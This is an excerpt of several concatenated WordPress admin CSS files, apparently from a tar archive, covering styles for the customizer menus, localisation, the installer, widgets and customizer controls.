box-shadow: none; outline: none; cursor: pointer; text-align: center; } #available-menu-items .menu-item-handle .item-add:focus { color: #1d2327; } #available-menu-items .item-add:before { content: "\f543"; content: "\f543" / ''; position: relative; right: 2px; top: 3px; display: inline-block; height: 20px; border-radius: 50%; font: normal 20px/1.05 dashicons; /* line height is to account for the dashicon's vertical alignment */ } #available-menu-items .menu-item-handle.item-added .item-type, #available-menu-items .menu-item-handle.item-added .item-title, #available-menu-items .menu-item-handle.item-added:hover .item-add, #available-menu-items .menu-item-handle.item-added .item-add:focus { color: #646970; } #available-menu-items .menu-item-handle.item-added .item-add:before { content: "\f147"; content: "\f147" / ''; } #available-menu-items .accordion-section-title.loading .spinner, #available-menu-items-search.loading .accordion-section-title .spinner { visibility: visible; margin: 0 20px; } #available-menu-items-search .spinner { position: absolute; bottom: 24px; /* 13 container padding +1 input margin +10 ( ( 40 input height - 20 spinner height ) / 2 ) */ left: 21px; margin: 0 !important; } /* search results list */ #available-menu-items #available-menu-items-search .accordion-section-content { position: absolute; right: 0; top: 83px; /* below title div / search input (75 + 8 for 40px input) */ bottom: 0; /* 100% height that still triggers lazy load */ max-height: none; width: 100%; padding: 1px 15px 15px; box-sizing: border-box; } #available-menu-items-search .nothing-found { /* Compensate the 1px top padding of the container. */ margin-top: -1px; } #available-menu-items-search .accordion-section-title:after { display: none; } #available-menu-items-search .accordion-section-content:empty { min-height: 0; padding: 0; } #available-menu-items-search.loading .accordion-section-content div { opacity: .5; } #available-menu-items-search.loading.loading-more .accordion-section-content div { opacity: 1; } @media (prefers-reduced-motion: no-preference) { #customize-preview { transition: all 0.2s; } } body.adding-menu-items #available-menu-items { right: 0; visibility: visible; } body.adding-menu-items .wp-full-overlay-main { right: 300px; } body.adding-menu-items #customize-preview { opacity: 0.4; } body.adding-menu-items #customize-preview iframe { pointer-events: none; } .menu-item-handle .spinner { display: none; float: right; margin: 0 0 0 8px; } .nav-menu-inserted-item-loading .spinner { display: block; } .nav-menu-inserted-item-loading .menu-item-handle .item-type { padding: 0 8px 0 0; } .nav-menu-inserted-item-loading .menu-item-handle, .added-menu-item .menu-item-handle.loading { padding: 10px 8px 10px 15px; cursor: default; opacity: .5; background: #fff; color: #787c82; } .added-menu-item .menu-item-handle { transition-property: opacity, background, color; transition-duration: 1.25s; transition-timing-function: cubic-bezier( .25, -2.5, .75, 8 ); /* Replacement for .hide().fadeIn('slow') in JS to add emphasis when it's loaded. */ } /* Add/delete Menus */ #customize-theme-controls .control-panel-content .control-section-nav_menu:nth-last-child(2) .accordion-section-title { border-bottom-color: #dcdcde; } /* @todo update selector */ #accordion-section-add_menu { margin: 15px 12px; } #accordion-section-add_menu h3 { text-align: left; } #accordion-section-add_menu h3, #accordion-section-add_menu .customize-add-menu-button { margin: 0; } #accordion-section-add_menu .customize-add-menu-button { font-weight: 400; } #create-new-menu-submit { float: left; margin: 0 0 12px; } .menu-delete-item { float: right; padding: 1em 0; width: 100%; } .assigned-menu-locations-title p { margin: 0 0 8px; } li.assigned-to-menu-location .menu-delete-item { display: none; } li.assigned-to-menu-location .add-new-menu-item { margin-bottom: 1em; } .menu-item-handle { margin-top: -1px; } .ui-sortable-disabled .menu-item-handle { cursor: default; } .menu-item-handle:hover { position: relative; z-index: 10; color: var(--wp-admin-theme-color); } .menu-item-handle:hover .item-type, .menu-item-handle:hover .item-edit, #available-menu-items .menu-item-handle:hover .item-add { color: var(--wp-admin-theme-color); } .menu-item-edit-active .menu-item-handle { border-color: #8c8f94; border-bottom: none; } .customize-control-nav_menu_item { margin-bottom: 0; } .customize-control-nav_menu .new-menu-item-invitation { margin-top: 0; margin-bottom: 0; } .customize-control-nav_menu .customize-control-nav_menu-buttons { display: flex; flex-direction: row-reverse; align-items: center; gap: 8px; margin-top: 12px; } /** * box-shadows */ .wp-customizer .menu-item .submitbox .submitdelete:focus, .customize-screen-options-toggle:focus:before, #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-customizer button:focus .toggle-indicator:before, .menu-delete:focus, .menu-item-bar .item-delete:focus:before, #available-menu-items .item-add:focus:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } @media screen and (max-width: 782px) { #available-menu-items #available-menu-items-search .accordion-section-content { top: 71px; /* 63 + 8 for 40px input */ } } @media screen and (max-width: 640px) { #available-menu-items #available-menu-items-search .accordion-section-content { top: 154px; /* 146 + 8 for 40px input */ } } css/l10n.min.css 0000644 00000006200 15233246127 0007405 0 ustar 00 /*! This file is auto-generated */ body.rtl,body.rtl .press-this a.wp-switch-editor{font-family:Tahoma,Arial,sans-serif}.rtl h1,.rtl h2,.rtl h3,.rtl h4,.rtl h5,.rtl h6{font-family:Arial,sans-serif;font-weight:600}body.locale-he-il,body.locale-he-il .press-this a.wp-switch-editor{font-family:Arial,sans-serif}.locale-he-il em{font-style:normal;font-weight:600}.locale-zh-cn #local-time,.locale-zh-cn #utc-time,.locale-zh-cn .form-wrap p,.locale-zh-cn .howto,.locale-zh-cn .inline-edit-row fieldset span.checkbox-title,.locale-zh-cn .inline-edit-row fieldset span.title,.locale-zh-cn .js .input-with-default-title,.locale-zh-cn .link-to-original,.locale-zh-cn .tablenav .displaying-num,.locale-zh-cn p.description,.locale-zh-cn p.help,.locale-zh-cn p.install-help,.locale-zh-cn span.description{font-style:normal}.locale-zh-cn .hdnle a{font-size:12px}.locale-zh-cn form.upgrade .hint{font-style:normal;font-size:100%}.locale-zh-cn #sort-buttons{font-size:1em!important}.locale-de-de #customize-header-actions .button,.locale-de-de-formal #customize-header-actions .button{padding:0 5px 1px}.locale-de-de #customize-header-actions .spinner,.locale-de-de-formal #customize-header-actions .spinner{margin:16px 3px 0}body[class*=locale-de-] .inline-edit-row fieldset label span.title,body[class*=locale-de-] .inline-edit-row fieldset.inline-edit-date legend{width:7em}body[class*=locale-de-] .inline-edit-row fieldset .timestamp-wrap,body[class*=locale-de-] .inline-edit-row fieldset label span.input-text-wrap{margin-left:7em}.locale-ru-ru #adminmenu{width:inherit}.locale-ru-ru #adminmenu,.locale-ru-ru #wpbody{margin-left:0}.locale-ru-ru .inline-edit-row fieldset label span.title,.locale-ru-ru .inline-edit-row fieldset.inline-edit-date legend{width:8em}.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap{margin-left:8em}.locale-ru-ru.post-new-php .tagsdiv .newtag,.locale-ru-ru.post-php .tagsdiv .newtag{width:165px}.locale-ru-ru.press-this .posting{margin-right:277px}.locale-ru-ru .press-this-sidebar{width:265px}.locale-ru-ru #customize-header-actions .button{padding:0 5px 1px}.locale-ru-ru #customize-header-actions .spinner{margin:16px 3px 0}.locale-lt-lt .inline-edit-row fieldset label span.title,.locale-lt-lt .inline-edit-row fieldset.inline-edit-date legend{width:8em}.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap,.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap{margin-left:8em}.locale-lt-lt .quick-edit-row-post fieldset.inline-edit-col-right label span.title,.locale-ru-ru .quick-edit-row-post fieldset.inline-edit-col-right label span.title,body[class*=locale-de-] .quick-edit-row-post fieldset.inline-edit-col-right label span.title{width:auto}@media screen and (max-width:782px){.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap,.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap,body[class*=locale-de-] .inline-edit-row fieldset .timestamp-wrap,body[class*=locale-de-] .inline-edit-row fieldset label span.input-text-wrap{margin-left:0}} css/install-rtl.min.css 0000644 00000012220 15233246127 0011077 0 ustar 00 /*! This file is auto-generated */ html{background:#f0f0f1;margin:0 20px}body{background:#fff;border:1px solid #c3c4c7;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;margin:140px auto 25px;padding:20px 20px 10px;max-width:700px;-webkit-font-smoothing:subpixel-antialiased;box-shadow:0 1px 1px rgba(0,0,0,.04)}a{color:var(--wp-admin-theme-color)}a:active,a:hover{color:var(--wp-admin-theme-color-darker-20)}a:focus{color:var(--wp-admin-theme-color-darker-20);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}h1,h2{border-bottom:1px solid #dcdcde;clear:both;color:#646970;font-size:24px;padding:0 0 7px;font-weight:400}h3{font-size:16px}dd,dt,li,p{padding-bottom:2px;font-size:14px;line-height:1.5}.code,code{font-family:Consolas,Monaco,monospace}dl,ol,ul{padding:5px 22px 5px 5px}a img{border:0}abbr{border:0;font-variant:normal}fieldset{border:0;padding:0;margin:0}#logo{margin:-130px auto 25px;padding:0 0 25px;width:84px;height:84px;overflow:hidden;background-image:url(../images/w-logo-gray.png?ver=20260303);background-image:none,url(../images/wordpress-logo-gray.svg?ver=20260303);background-size:84px;background-position:center top;background-repeat:no-repeat;color:#3c434a;font-size:20px;font-weight:400;line-height:1.3em;text-decoration:none;text-align:center;text-indent:-9999px;outline:0}.step{margin:20px 0 15px}.step,th{text-align:right;padding:0}.language-chooser.wp-core-ui .step .button.button-large{font-size:14px}textarea{border:1px solid #dcdcde;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;width:100%;box-sizing:border-box}.form-table{border-collapse:collapse;margin-top:1em;width:100%}.form-table td{margin-bottom:9px;padding:10px 0 10px 20px;font-size:14px;vertical-align:top}.form-table th{font-size:14px;text-align:right;padding:10px 0 10px 20px;width:115px;vertical-align:top}.form-table code{line-height:1.28571428;font-size:14px}.form-table p{margin:4px 0 0;font-size:11px}.form-table .setup-description{margin:4px 0 0;line-height:1.6}.form-table input{line-height:1.33333333;font-size:15px;padding:3px 5px}.wp-pwd{margin-top:0}.form-table .wp-pwd{display:flex;column-gap:4px}.form-table .password-input-wrapper{width:100%}input,submit{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif}#pass-strength-result,.form-table input[type=email],.form-table input[type=password],.form-table input[type=text],.form-table input[type=url]{width:100%}.form-table th p{font-weight:400}.form-table.install-success td,.form-table.install-success th{vertical-align:middle;padding:16px 0 16px 20px}.form-table.install-success td p{margin:0;font-size:14px}.form-table.install-success td code{margin:0;font-size:18px}#error-page{margin-top:50px}#error-page p{font-size:14px;line-height:1.28571428;margin:25px 0 20px}#error-page code,.code{font-family:Consolas,Monaco,monospace}.message{border-right:4px solid #d63638;padding:.7em .6em;background-color:#fcf0f1}#admin_email,#dbhost,#dbname,#pass1,#pass2,#prefix,#pwd,#uname,#user_login{direction:ltr}.rtl input,.rtl submit,.rtl textarea,body.rtl{font-family:Tahoma,sans-serif}:lang(he-il) .rtl input,:lang(he-il) .rtl submit,:lang(he-il) .rtl textarea,:lang(he-il) body.rtl{font-family:Arial,sans-serif}@media only screen and (max-width:799px){body{margin-top:115px}#logo a{margin:-125px auto 30px}}@media screen and (max-width:782px){.form-table{margin-top:0}.form-table td,.form-table th{display:block;width:auto;vertical-align:middle}.form-table th{padding:20px 0 0}.form-table td{padding:5px 0;border:0;margin:0}input,textarea{font-size:16px}.form-table span.description,.form-table td input[type=email],.form-table td input[type=password],.form-table td input[type=text],.form-table td input[type=url],.form-table td select,.form-table td textarea{width:100%;font-size:16px;line-height:1.5;padding:7px 10px;display:block;max-width:none;box-sizing:border-box}#pwd{padding-left:2.5rem}.wp-pwd #pass1{padding-left:50px}.wp-pwd .button.wp-hide-pw{left:0}#pass-strength-result{width:100%}}body.language-chooser{max-width:300px}.language-chooser select{padding:8px;width:100%;display:block;border:1px solid #dcdcde;background:#fff;color:#2c3338;font-size:16px;font-family:Arial,sans-serif;font-weight:400}.language-chooser select:focus{color:#2c3338}.language-chooser select option:focus,.language-chooser select option:hover{color:var(--wp-admin-theme-color-darker-20)}.language-chooser .step{text-align:left}.screen-reader-input,.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important;word-break:normal!important}.spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;visibility:hidden;opacity:.7;width:20px;height:20px;margin:2px 5px 0}.step .spinner{display:inline-block;vertical-align:middle;margin-left:15px}.button.hide-if-no-js,.hide-if-no-js{display:none}@media print,(min-resolution:120dpi){.spinner{background-image:url(../images/spinner-2x.gif)}} css/widgets.min.css 0000644 00000034434 15233246127 0010313 0 ustar 00 /*! This file is auto-generated */ .widget{margin:0 auto 10px;position:relative;box-sizing:border-box}.widget.open{z-index:99}.widget.open:focus-within{z-index:100}.widget-top{font-size:13px;font-weight:600;background:#f6f7f7}.widget-top .widget-action{border:0;margin:0;padding:10px;background:0 0;cursor:pointer}.widget-title h3,.widget-title h4{margin:0;padding:15px;font-size:1em;line-height:1;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-user-select:none;user-select:none}.widgets-holder-wrap .widget-inside{border-top:none;padding:1px 15px 15px;line-height:1.23076923}.widget.widget-dirty .widget-control-close-wrapper{display:none}#available-widgets .widget-description,#widgets-right a.widget-control-edit,.in-widget-title{color:#646970}.deleting .widget-title,.deleting .widget-top .widget-action .toggle-indicator:before{color:#a7aaad}.wp-core-ui .media-widget-control .selected,.wp-core-ui .media-widget-control.selected .not-selected,.wp-core-ui .media-widget-control.selected .placeholder{display:none}.media-widget-control.selected .selected{display:inline-block}.media-widget-buttons{text-align:left;margin-top:0}.media-widget-control .media-widget-buttons .button{width:auto;height:auto;margin-top:12px;white-space:normal}.media-widget-buttons .button:first-child{margin-right:8px}.media-widget-control .attachment-media-view .button-add-media,.media-widget-control .placeholder{border:1px dashed #c3c4c7;box-sizing:border-box;cursor:pointer;line-height:1.6;padding:9px 0;position:relative;text-align:center;width:100%}.media-widget-control .attachment-media-view .button-add-media{cursor:pointer;background-color:#f0f0f1;color:#2c3338}.media-widget-control .attachment-media-view .button-add-media:hover{background-color:#fff}.media-widget-control .attachment-media-view .button-add-media:focus{background-color:#fff;border-style:solid;border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8);outline:2px solid transparent;outline-offset:-2px}.media-widget-control .media-widget-preview{background:0 0;text-align:center}.media-widget-control .media-widget-preview .notice{text-align:initial}.media-frame .media-widget-embed-notice p code,.media-widget-control .notice p code{padding:0 3px 0 0}.media-frame .media-widget-embed-notice{margin-top:16px}.media-widget-control .media-widget-preview img{max-width:100%;vertical-align:middle;background-image:linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:0 0,10px 10px;background-size:20px 20px}.media-widget-control .media-widget-preview .wp-video-shortcode{background:#000}.media-frame.media-widget .media-toolbar-secondary{min-width:300px}.media-frame.media-widget .attachment-display-settings .setting.align,.media-frame.media-widget .checkbox-setting.autoplay,.media-frame.media-widget .embed-link-settings .setting.link-text,.media-frame.media-widget .embed-media-settings .legend-inline,.media-frame.media-widget .embed-media-settings .setting.align,.media-frame.media-widget .image-details .embed-media-settings .setting.align,.media-frame.media-widget .replace-attachment{display:none}.media-widget-video-preview{width:100%}.media-widget-video-link{display:inline-block;min-height:132px;width:100%;background:#000}.media-widget-video-link .dashicons{font:normal 60px/1 dashicons;position:relative;width:100%;top:-90px;color:#fff;text-decoration:none}.media-widget-video-link.no-poster .dashicons{top:30px}.media-frame #embed-url-field.invalid,.media-widget-image-link>.link:invalid{border:1px solid #d63638}.media-widget-image-link{margin:1em 0}.media-widget-gallery-preview{display:flex;justify-content:flex-start;flex-wrap:wrap;margin:-1.79104477%}.media-widget-preview.media_gallery,.media-widget-preview.media_image{cursor:pointer}.media-widget-preview .placeholder{background:#f0f0f1}.media-widget-gallery-preview .gallery-item{box-sizing:border-box;width:50%;margin:0;background:0 0}.media-widget-gallery-preview .gallery-item .gallery-icon{margin:4.5%}.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child,.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child~.gallery-item,.media-widget-gallery-preview .gallery-item:nth-last-child(n+5),.media-widget-gallery-preview .gallery-item:nth-last-child(n+5)~.gallery-item,.media-widget-gallery-preview .gallery-item:nth-last-child(n+6),.media-widget-gallery-preview .gallery-item:nth-last-child(n+6)~.gallery-item{max-width:33.33%}.media-widget-gallery-preview .gallery-item img{height:auto;vertical-align:bottom}.media-widget-gallery-preview .gallery-icon{position:relative}.media-widget-gallery-preview .gallery-icon-placeholder{position:absolute;top:0;bottom:0;width:100%;box-sizing:border-box;display:flex;align-items:center;justify-content:center;background-color:rgba(0,0,0,.5)}.media-widget-gallery-preview .gallery-icon-placeholder-text{font-weight:600;font-size:2em;color:#fff}.widget.ui-draggable-dragging{min-width:100%}.widget.ui-sortable-helper{opacity:.8}.widget-placeholder{border:1px dashed #c3c4c7;margin:0 auto 10px;height:45px;width:100%;box-sizing:border-box}#widgets-right .widget-placeholder{margin-top:0}#widgets-right .closed .widget-placeholder{height:0;border:0;margin-top:-10px}.sidebar-name{position:relative;box-sizing:border-box}.js .sidebar-name{cursor:pointer}.sidebar-name .handlediv{float:right;width:38px;height:38px;border:0;margin:0;padding:8px;background:0 0;cursor:pointer;outline:0}#widgets-right .sidebar-name .handlediv{margin:5px 3px 0 0}.sidebar-name .handlediv:focus{box-shadow:none;outline:1px solid transparent}#widgets-left .sidebar-name .toggle-indicator{display:none}#widgets-left .sidebar-name .handlediv:focus .toggle-indicator,#widgets-left .sidebar-name:hover .toggle-indicator,#widgets-left .widgets-holder-wrap.closed .sidebar-name .toggle-indicator{display:block}.sidebar-name .toggle-indicator:before{padding:1px 2px 1px 0;border-radius:50%}.sidebar-name .handlediv:focus .toggle-indicator:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.sidebar-name h2,.sidebar-name h3{margin:0;padding:8px 10px;overflow:hidden;white-space:normal;line-height:1.5}.widgets-holder-wrap .description{padding:0 0 15px;margin:0;font-style:normal;color:#646970}.inactive-sidebar .description,.widget-holder .description{color:#50575e}#widgets-right .widgets-holder-wrap .description{padding-left:7px;padding-right:7px}div.widget-liquid-left{margin:0;width:38%;float:left}div.widget-liquid-right{float:right;width:58%}div#widgets-left{padding-top:12px}div#widgets-left .closed .sidebar-name,div#widgets-left .inactive-sidebar.closed .sidebar-name{margin-bottom:10px}div#widgets-left .sidebar-name h2,div#widgets-left .sidebar-name h3{padding:10px 0;margin:0 10px 0 0}#widgets-left .widgets-holder-wrap,div#widgets-left .widget-holder{background:0 0;border:none}#widgets-left .widgets-holder-wrap{border:none;box-shadow:none}#available-widgets .widget{margin:0}#available-widgets .widget:nth-child(odd){clear:both}#available-widgets .widget .widget-description{display:block;padding:10px 15px;font-size:12px;overflow-wrap:break-word;word-wrap:break-word;-ms-word-break:break-all;word-break:break-word;hyphens:auto}#available-widgets #widget-list{position:relative}#widgets-left .inactive-sidebar{clear:both;width:100%;background:0 0;padding:0;margin:0 0 20px;border:none;box-shadow:none}#widgets-left .inactive-sidebar.first{margin-top:40px}div#widgets-left .inactive-sidebar .widget.expanded{left:auto}.widget-title-action{float:right;position:relative}div#widgets-left .inactive-sidebar .widgets-sortables{min-height:42px;padding:0;background:0 0;margin:0;position:relative}div#widgets-right .sidebars-column-1,div#widgets-right .sidebars-column-2{max-width:450px}div#widgets-right .widgets-holder-wrap{margin:10px 0 0}div#widgets-right .sidebar-description{min-height:20px;margin-top:-5px}div#widgets-right .sidebar-name h2,div#widgets-right .sidebar-name h3{padding:15px 15px 15px 7px}div#widgets-right .widget-top{padding:0}div#widgets-right .widgets-sortables{padding:0 8px;margin-bottom:9px;position:relative;min-height:123px}div#widgets-right .closed .widgets-sortables{min-height:0;margin-bottom:0}.remove-inactive-widgets .spinner,.sidebar-name .spinner{float:none;position:relative;top:-2px;margin:-5px 5px}.sidebar-name .spinner{position:absolute;top:18px;right:30px}#widgets-right .widgets-holder-wrap.widget-hover{border-color:#787c82;box-shadow:0 1px 2px rgba(0,0,0,.3)}.widget-access-link{float:right;margin:-5px 0 10px 10px}.widgets_access #widgets-left .widget .widget-top{cursor:auto}.widgets_access #wpwrap .widget-control-edit,.widgets_access #wpwrap .widgets-holder-wrap.closed .sidebar-description,.widgets_access #wpwrap .widgets-holder-wrap.closed .widget{display:block}.widgets_access #widgets-left .widget .widget-top:hover,.widgets_access #widgets-right .widget .widget-top:hover{border-color:#dcdcde}#available-widgets .widget-action .edit,#available-widgets .widget-control-edit .edit,#widgets-left .inactive-sidebar .widget-action .add,#widgets-left .inactive-sidebar .widget-control-edit .add,#widgets-right .widget-action .add,#widgets-right .widget-control-edit .add{display:none}.widget-control-edit{display:block;color:#646970;background:#f0f0f1;padding:0 15px;line-height:3.30769230;border-left:1px solid #dcdcde}#widgets-left .widget-control-edit:hover,#widgets-right .widget-control-edit:hover{color:#fff;background:#3c434a;border-left:0;outline:1px solid #3c434a}.widgets-holder-wrap .sidebar-description,.widgets-holder-wrap .sidebar-name{-webkit-user-select:none;user-select:none}.editwidget{margin:0 auto}.editwidget .widget-inside{display:block;padding:0 15px}.widget-control-actions{display:flex;align-items:center;justify-content:space-between}.editwidget .widget-control-actions{margin-top:20px}.js .closed br.clear,.js .widgets-holder-wrap.closed .description,.js .widgets-holder-wrap.closed .remove-inactive-widgets,.js .widgets-holder-wrap.closed .sidebar-description,.js .widgets-holder-wrap.closed .widget{display:none}.js .widgets-holder-wrap.closed .widget.ui-sortable-helper{display:block}.widget-description,.widget-inside{display:none}.widget-inside{background:#fff}.widget-inside select{max-width:100%}#removing-widget{display:none;font-weight:400;padding-left:15px;font-size:12px;line-height:1;color:#000}.js #removing-widget{color:#72aee6}#access-off,.no-js .widget-holder .description,.widget-control-noform,.widgets_access #access-on,.widgets_access .handlediv,.widgets_access .widget-action,.widgets_access .widget-holder .description{display:none}.widgets_access #widget-list,.widgets_access .widget-holder{padding-top:10px}.widgets_access #access-off{display:inline}.widgets_access .sidebar-name,.widgets_access .widget .widget-top{cursor:default}.widget-liquid-left #widgets-left.chooser #available-widgets .widget,.widget-liquid-left #widgets-left.chooser .inactive-sidebar{transition:opacity .1s linear}.widget-liquid-left #widgets-left.chooser #available-widgets .widget,.widget-liquid-left #widgets-left.chooser .inactive-sidebar{opacity:.2;pointer-events:none}.widget-liquid-left #widgets-left.chooser #available-widgets .widget-in-question{opacity:1;pointer-events:auto}#available-widgets .widget-top:hover,#widgets-left .widget-in-question .widget-top,#widgets-left .widget-top:hover,.widgets-chooser ul,div#widgets-right .widget-top:hover{border-color:#8c8f94;box-shadow:0 1px 2px rgba(0,0,0,.1)}.widgets-chooser ul.widgets-chooser-sidebars{margin:0;list-style-type:none;max-height:300px;overflow:auto}.widgets-chooser{display:none}.widgets-chooser ul{border:1px solid #c3c4c7}.widgets-chooser li{border-bottom:1px solid #c3c4c7;background:#fff;margin:0;position:relative}.widgets-chooser .widgets-chooser-button{width:100%;padding:10px 15px 10px 35px;background:0 0;border:0;box-sizing:border-box;text-align:left;cursor:pointer;transition:background .2s ease-in-out}.widgets-chooser .widgets-chooser-button:focus,.widgets-chooser .widgets-chooser-button:hover{outline:0;text-decoration:underline}.widgets-chooser li:last-child{border:none}.widgets-chooser .widgets-chooser-selected .widgets-chooser-button{background:var(--wp-admin-theme-color,#3858e9);color:#fff}.widgets-chooser .widgets-chooser-selected:before{content:"\f147";content:"\f147"/'';display:block;-webkit-font-smoothing:antialiased;font:normal 26px/1 dashicons;color:#fff;position:absolute;top:7px;left:5px}.widgets-chooser .widgets-chooser-actions{padding:10px 0 12px;text-align:center}#available-widgets .widget .widget-top{cursor:pointer}#available-widgets .widget.ui-draggable-dragging .widget-top{cursor:move}.text-widget-fields{position:relative}.text-widget-fields [hidden]{display:none}.text-widget-fields .wp-pointer.wp-pointer-top{position:absolute;z-index:3;top:100px;right:10px;left:10px}.text-widget-fields .wp-pointer .wp-pointer-arrow{left:auto;right:15px}.text-widget-fields .wp-pointer .wp-pointer-buttons{line-height:1.4}.custom-html-widget-fields>p>.CodeMirror{border:1px solid #dcdcde}.custom-html-widget-fields code{padding-top:1px;padding-bottom:1px}ul.CodeMirror-hints{z-index:101}.widget-control-actions .custom-html-widget-save-button.button.validation-blocked{cursor:not-allowed}@media screen and (max-width:782px){.editwidget .widget-inside input[type=checkbox],.editwidget .widget-inside input[type=radio],.widgets-holder-wrap .widget-inside input[type=checkbox],.widgets-holder-wrap .widget-inside input[type=radio]{margin:.25rem .25rem .25rem 0}}@media screen and (max-width:480px){div.widget-liquid-left{width:100%;float:none;border-right:none;padding-right:0}#widgets-left .sidebar-name{margin-right:0}#widgets-left #available-widgets .widget-top{margin-right:0}#widgets-left .inactive-sidebar .widgets-sortables{margin-right:0}div.widget-liquid-right{width:100%;float:none}div.widget{max-width:480px}.widget-access-link{float:none;margin:15px 0 0}}@media screen and (max-width:320px){div.widget{max-width:320px}}@media only screen and (min-width:1250px){#widgets-left #available-widgets .widget{width:49%;float:left}.widget.ui-draggable-dragging{min-width:49%}#widgets-left #available-widgets .widget:nth-child(2n){float:right}#widgets-right .sidebars-column-1,#widgets-right .sidebars-column-2{float:left;width:49%}#widgets-right .sidebars-column-1{margin-right:2%}#widgets-right.single-sidebar .sidebars-column-1,#widgets-right.single-sidebar .sidebars-column-2{float:none;width:100%;margin:0}} css/wp-admin.min.css 0000644 00000000752 15233246127 0010355 0 ustar 00 /*! This file is auto-generated */ @import url(common.min.css); @import url(forms.min.css); @import url(admin-menu.min.css); @import url(dashboard.min.css); @import url(list-tables.min.css); @import url(edit.min.css); @import url(revisions.min.css); @import url(media.min.css); @import url(themes.min.css); @import url(about.min.css); @import url(nav-menus.min.css); @import url(widgets.min.css); @import url(site-icon.min.css); @import url(l10n.min.css); @import url(site-health.min.css); css/customize-controls-rtl.min.css 0000644 00000166071 15233246127 0013332 0 ustar 00 /*! This file is auto-generated */ body{overflow:hidden;-webkit-text-size-adjust:100%}.customize-controls-close,.widget-control-actions a{text-decoration:none}#customize-controls h3{font-size:14px}#customize-controls img{max-width:100%}#customize-controls .submit{text-align:center}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked{background-color:rgba(0,0,0,.7);padding:25px}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message{margin-right:auto;margin-left:auto;max-width:366px;min-height:64px;width:auto;padding:25px;position:relative;background:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);line-height:1.5;overflow-y:auto;text-align:right;top:calc(50% - 100px)}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message.has-avatar{padding-right:109px}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .currently-editing{margin-top:0}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .action-buttons{margin-bottom:0}.customize-changeset-locked-avatar{width:64px;position:absolute;right:25px;top:25px}.wp-core-ui.wp-customizer .customize-changeset-locked-message a.button{margin-left:10px;margin-top:0}#customize-controls .description{color:#50575e}#customize-save-button-wrapper{float:left;margin-top:7px}body:not(.ready) #customize-save-button-wrapper .save{visibility:hidden}#customize-save-button-wrapper .save{float:right;border-radius:3px;box-shadow:none;margin-top:0}#customize-save-button-wrapper .save.has-next-sibling{border-radius:0 3px 3px 0}#customize-sidebar-outer-content{position:absolute;top:0;bottom:0;right:0;visibility:hidden;overflow-x:hidden;overflow-y:auto;width:100%;margin:0;z-index:-1;background:#f0f0f1;transition:right .18s;border-left:1px solid #dcdcde;border-right:1px solid #dcdcde;height:100%}@media (prefers-reduced-motion:reduce){#customize-sidebar-outer-content{transition:none}}#customize-theme-controls .control-section-outer{display:none!important}#customize-outer-theme-controls .accordion-section-content{padding:12px}#customize-outer-theme-controls .accordion-section-content.open{display:block}.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{visibility:visible;right:100%;transition:right .18s}@media (prefers-reduced-motion:reduce){.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{transition:none}}.customize-outer-pane-parent{margin:0}.outer-section-open .wp-full-overlay.expanded .wp-full-overlay-main{right:300px;opacity:.4}.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-menu-items .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main{right:64%}#customize-outer-theme-controls li.notice{padding-top:8px;padding-bottom:8px;margin-right:0;margin-bottom:10px}#publish-settings{text-indent:0;border-radius:3px 0 0 3px;padding-right:0;padding-left:0;box-shadow:none;font-size:14px;width:30px;float:right;transform:none;margin-top:0;line-height:2}body.trashing #customize-save-button-wrapper .save,body.trashing #publish-settings,body:not(.ready) #publish-settings{display:none}#customize-header-actions .spinner{margin-top:13px;margin-left:4px}.saving #customize-header-actions .spinner,.trashing #customize-header-actions .spinner{visibility:visible}#customize-header-actions{border-bottom:1px solid #dcdcde}#customize-controls .wp-full-overlay-sidebar-content{overflow-y:auto;overflow-x:hidden}.outer-section-open #customize-controls 